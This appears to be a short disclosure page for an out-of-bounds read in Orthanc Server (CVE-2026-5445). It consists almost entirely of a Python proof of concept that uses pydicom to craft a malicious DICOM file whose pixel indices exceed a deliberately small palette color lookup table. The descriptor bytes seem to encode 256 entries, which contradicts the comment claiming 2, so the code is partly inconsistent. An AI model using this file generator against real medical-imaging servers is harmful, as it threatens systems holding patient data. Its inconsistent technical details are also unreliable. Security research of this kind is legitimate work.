CVE-2026-5445 Orthanc Server越界读取漏洞

import pydicom import struct # Simulate creating a malicious DICOM file structure # This is a conceptual PoC to demonstrate the vulnerability trigger logic. # In a real scenario, one would need to craft a valid DICOM file with # specific tags that trigger the DecodeLookupTable path. def create_malicious_dicom(filename): # Create a minimal File Meta Information file_meta = pydicom.dataset.FileMetaDataset() file_meta.TransferSyntaxUID = '1.2.840.10008.1.2' # Implicit VR Little Endian file_meta.MediaStorageSOPClassUID = '1.2.840.10008.5.1.4.1.1.7' # Secondary Capture Image Storage file_meta.MediaStorageSOPInstanceUID = '1.2.3.4.5' file_meta.ImplementationClassUID = '1.2.3.4' # Create the Dataset ds = pydicom.dataset.Dataset(file_meta=file_meta) ds.SOPClassUID = '1.2.840.10008.5.1.4.1.1.7' ds.SOPInstanceUID = '1.2.3.4.5' # Set image attributes to trigger PALETTE COLOR decoding ds.SamplesPerPixel = 1 ds.PhotometricInterpretation = 'PALETTE COLOR' ds.BitsAllocated = 8 ds.BitsStored = 8 ds.HighBit = 7 ds.PixelRepresentation = 0 ds.Rows = 10 ds.Columns = 10 # Create a Palette with a small size (e.g., 2 colors) # Red, Green, Blue lookup tables ds.RedPaletteColorLookupTableDescriptor = b'\x00\x01\x10\x00\x00\x00' # 2 entries, 16 bits ds.GreenPaletteColorLookupTableDescriptor = b'\x00\x01\x10\x00\x00\x00' ds.BluePaletteColorLookupTableDescriptor = b'\x00\x01\x10\x00\x00\x00' # Dummy palette data ds.RedPaletteColorLookupTableData = b'\x00\x00\xFF\xFF' ds.GreenPaletteColorLookupTableData = b'\x00\x00\xFF\xFF' ds.BluePaletteColorLookupTableData = b'\x00\x00\xFF\xFF' # Pixel Data: Contains indices that exceed the palette size (e.g., 255) # The palette size is 2, so valid indices are 0 and 1. 255 is out of bounds. malicious_pixel_data = b'\xFF' * (10 * 10) ds.PixelData = malicious_pixel_data # Save the file ds.save_as(filename) print(f"Malicious DICOM file created: {filename}") if __name__ == "__main__": create_malicious_dicom('malicious.dcm') # When this file is processed by a vulnerable Orthanc Server instance, # it will attempt to access index 255 in a palette of size 2, # causing an out-of-bounds read.